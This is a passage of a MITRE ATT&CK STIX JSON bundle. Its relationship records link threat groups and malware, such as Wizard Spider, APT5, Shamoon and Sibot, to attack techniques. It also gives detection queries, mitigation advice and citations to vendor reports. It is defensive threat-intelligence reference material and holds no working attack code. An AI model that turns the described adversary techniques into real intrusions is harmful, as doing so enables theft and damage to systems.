            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized the PowerShell script `Get-DataInfo.ps1` to collect installed backup software information from a compromised machine.(Citation: Mandiant FIN12 Oct 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
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            "description": "Monitor for unexpected process interactions with the Windows Registry (i.e. reads) that may be related to gathering information.\n\nNote: For Security Auditing event ids 4656 and 4663, a System Access Control List (SACL) that controls the use of specific access rights such as Enumerate sub-keys and Query key value is required for event generation. Depending on the Registry key you are monitoring, the implementation of a new System Access Control List (SACL) might be required. Depending of Registry key used for the creation of a System Access Control List (SACL), the generation of event ids 4656 and 4663 might be noisy.\n\nAnalytic 1 - Suspicious Registry\n\n<code>(sourcetype=\"WinEventLog:Security\" EventCode IN (4663, 4656)) AND ObjectType=\"Key\" | WHERE ObjectName LIKE \"%SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall%\" AND (UserAccessList LIKE \"%4435%\" OR UserAccessList LIKE \"%Enumerate sub-keys%\" OR UserAccessList LIKE \"%4432%\" OR UserAccessList LIKE \"%Query key value%\") AND Image NOT IN ('FilePathToExpectedProcess01.exe','FilePathToExpectedProcess02.exe')</code>",
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            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "aptsim",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
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            ],
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            "modified": "2025-04-28T15:57:57.097Z",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.(Citation: aptsim)",
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            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            ],
            "modified": "2025-04-28T15:57:57.272Z",
            "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.",
            "relationship_type": "mitigates",
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            "x_mitre_attack_spec_version": "3.2.0"
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                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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            ],
            "modified": "2025-04-28T15:57:57.455Z",
            "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.(Citation: Cylance Dust Storm)",
            "relationship_type": "uses",
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            "description": "[Okrum](https://attack.mitre.org/software/S0439) has used DriveLetterView to enumerate drive information.(Citation: ESET Okrum July 2019)",
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                {
                    "source_name": "Splunk ShrinkLocker 2024",
                    "description": "Splunk Threat Research Team , Teoderick Contreras. (2024, September 5). ShrinkLocker Malware: Abusing BitLocker to Lock Your Data. Retrieved December 7, 2024.",
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                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.",
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                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/"
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                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
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            "description": "[Impacket](https://attack.mitre.org/software/S0357)'s `wmiexec` module can be used to execute commands through WMI.(Citation: Impacket Tools)(Citation: Sygnia VelvetAnt 2024A)",
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                    "source_name": "NCSC Joint Report Public Tools",
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
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                {
                    "source_name": "Profero APT27 December 2020",
                    "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.",
                    "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"
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            "description": "[RCSession](https://attack.mitre.org/software/S0662) can gather system owner information, including user and administrator privileges.(Citation: Profero APT27 December 2020)",
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                    "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"
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                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
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                {
                    "source_name": "ESET LoudMiner June 2019",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"
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            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used a script to gather the IP address of the infected machine before sending to the C2.(Citation: ESET LoudMiner June 2019)",
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                {
                    "source_name": "DFIR Conti Bazar Nov 2021",
                    "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.",
                    "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"
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            "modified": "2025-04-16T22:29:56.476Z",
            "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Conti](https://attack.mitre.org/software/S0575) ransomware to encrypt a compromised network.(Citation: DFIR Conti Bazar Nov 2021)",
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                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"
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            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key to execute logon scripts.(Citation: Cybereason Kimsuky November 2020)",
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            "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d",
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                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/"
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                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
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            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses Windows Script Components.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)",
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                    "source_name": "Dell Lateral Movement",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
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            "description": "(Citation: Dell Lateral Movement)",
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            "description": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",
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                    "source_name": "Ge 2011",
                    "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.",
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            "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) performs BIOS modification and can download and execute a file as well as protect itself from removal.(Citation: Ge 2011)",
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                    "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
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            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has hidden payloads in Flash directories and fake installer files.(Citation: TrendMicro Tropic Trooper May 2020)",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to compress archived screenshots.(Citation: Red Canary NETWIRE January 2020)",
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                    "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"
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                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
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                    "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.",
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                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
                },
                {
                    "source_name": "Check Point APT34 April 2021",
                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
                    "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                },
                {
                    "source_name": "Unit42 OilRig Playbook 2023",
                    "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used DNS for C2 including the publicly available <code>requestbin.net</code> tunneling service.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)",
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            "description": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions (including memberships in privileged groups) being granted to compromised accounts.",
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                {
                    "source_name": "Google Iran Threats October 2021",
                    "description": "Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.",
                    "url": "https://blog.google/threat-analysis-group/countering-threats-iran/"
                },
                {
                    "source_name": "Certfa Charming Kitten January 2021",
                    "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.",
                    "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/"
                },
                {
                    "source_name": "ClearSky Kittens Back 3 August 2020",
                    "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"
                },
                {
                    "source_name": "Proofpoint TA453 July2021",
                    "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"
                },
                {
                    "source_name": "Proofpoint TA453 March 2021",
                    "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential"
                },
                {
                    "source_name": "Microsoft Iranian Threat Actor Trends November 2021",
                    "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"
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            "modified": "2025-04-16T22:31:02.206Z",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used SMS and email messages with links designed to steal credentials or track victims.(Citation: Certfa Charming Kitten January 2021)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Google Iran Threats October 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)",
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                    "source_name": "Talos Promethium June 2020",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
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                {
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            "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerates data stored within victim code repositories, such as internal GitHub repositories.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)",
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            "description": "[PingPull](https://attack.mitre.org/software/S1031) has the ability to install itself as a service.(Citation: Unit 42 PingPull Jun 2022)",
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                    "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022.",
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                    "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.",
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                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.",
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                    "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.",
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                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
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                    "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.",
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                    "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.",
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                {
                    "source_name": "CERT-FR PYSA April 2020",
                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021.",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf"
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            ],
            "modified": "2025-04-28T15:59:27.572Z",
            "description": "[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ",
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            "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "SentinelLabs Metador Sept 2022",
                    "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.",
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            ],
            "modified": "2025-04-16T22:31:32.657Z",
            "description": "[Mafalda](https://attack.mitre.org/software/S1060) can encrypt its C2 traffic with RC4.(Citation: SentinelLabs Metador Sept 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fd50d9a-0d3e-4433-a2b9-b9e0ae3621f7",
            "created": "2024-07-25T18:01:22.363Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "ESET EvasivePanda 2024",
                    "description": "Ahn Ho, Facundo Mu\u00f1oz, & Marc-Etienne M.L\u00e9veill\u00e9. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:31:32.880Z",
            "description": "[Daggerfly](https://attack.mitre.org/groups/G1034) has used strategic website compromise to deliver a malicious link requiring user interaction.(Citation: ESET EvasivePanda 2024)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fd75064-d1b8-4b8c-b9ea-5b65a1cc0ea8",
            "created": "2019-04-24T20:48:39.791Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf"
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            ],
            "modified": "2025-04-28T15:59:27.931Z",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can serve as a SOCKS proxy server.(Citation: Kaspersky Adwind Feb 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
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            "id": "relationship--8fdfcd23-4608-4a40-98fc-2e4baa8d6a41",
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            "revoked": false,
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                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
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            "modified": "2025-04-16T22:31:33.296Z",
            "description": "[APT5](https://attack.mitre.org/groups/G1023) has copied and exfiltrated the SAM Registry hive from targeted systems.(Citation: Mandiant Pulse Secure Update May 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "modified": "2025-04-16T22:31:33.493Z",
            "description": "Monitor executed commands and arguments for scripts like Syncappvpublishingserver.vbs that may be used to proxy execution of malicious files.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe32611-4206-4bef-9698-dbcefde08090",
            "created": "2020-06-15T14:22:33.876Z",
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            "external_references": [
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:59:28.296Z",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) decrypts ciphertext using an XOR cipher and a base64-encoded string.(Citation: Unit 42 Shamoon3 2018)\t",
            "relationship_type": "uses",
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--8fe39e12-a59d-4237-b2f1-d473c1246d20",
            "created": "2022-03-30T14:26:51.850Z",
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            "modified": "2025-04-28T15:59:28.477Z",
            "description": "Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may attempt to hide artifacts associated with their behaviors to evade detection.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe424be-6873-4b25-a87e-88b2de005d7f",
            "created": "2021-03-12T18:46:47.334Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:59:28.692Z",
            "description": "[Sibot](https://attack.mitre.org/software/S0589) can download and execute a payload onto a compromised system.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe6c997-0c72-49b2-9e43-6204e9cc3039",
            "created": "2022-03-30T14:26:51.871Z",
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            "revoked": false,
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:31:34.118Z",
            "description": "Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users. On ESXi servers, monitor discovery commands in the `/var/log/shell.log` history file.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe80bc3-e9a8-404f-b5bc-6abeae05b5e1",
            "created": "2025-01-15T20:55:47.316Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Palo Alto MidnightEclipse APR 2024",
                    "description": "Unit 42. (2024, April 12). Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related to CVE-2024-3400 . Retrieved January 15, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/cve-2024-3400/"
                },
                {
                    "source_name": "Volexity UPSTYLE 2024",
                    "description": "Volexity Threat Research. (2024, April 12). Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400). Retrieved November 20, 2024.",
                    "url": "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
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            ],
            "modified": "2025-04-16T22:31:34.341Z",
            "description": "During [Operation MidnightEclipse](https://attack.mitre.org/campaigns/C0048), threat actors configured cron jobs to retrieve payloads from actor-controlled infrastructure.(Citation: Volexity UPSTYLE 2024)(Citation: Palo Alto MidnightEclipse APR 2024)",
            "relationship_type": "uses",
            "source_ref": "campaign--455b011a-2510-49ab-a96f-2f84d6a80189",
            "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe98ea7-6bdc-4584-8020-f6668a402a70",
            "created": "2024-07-25T22:36:00.483Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET EvasivePanda 2024",
                    "description": "Ahn Ho, Facundo Mu\u00f1oz, & Marc-Etienne M.L\u00e9veill\u00e9. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"
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            ],
            "modified": "2025-04-16T22:31:34.542Z",
            "description": "[Nightdoor](https://attack.mitre.org/software/S1147) can identify the system local time information.(Citation: ESET EvasivePanda 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--51f78dfc-52f9-424e-8753-bb4246188313",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43",
            "created": "2020-10-15T12:05:58.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-28T15:59:29.136Z",
            "description": "Consider disabling updating the ARP cache on gratuitous ARP replies.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8fec240f-cafc-45f1-bf81-570653c662f8",
            "created": "2022-03-30T14:26:51.875Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "FireEye VBA stomp Feb 2020",
                    "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-28T15:59:29.318Z",
            "description": "If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",
            "relationship_type": "detects",
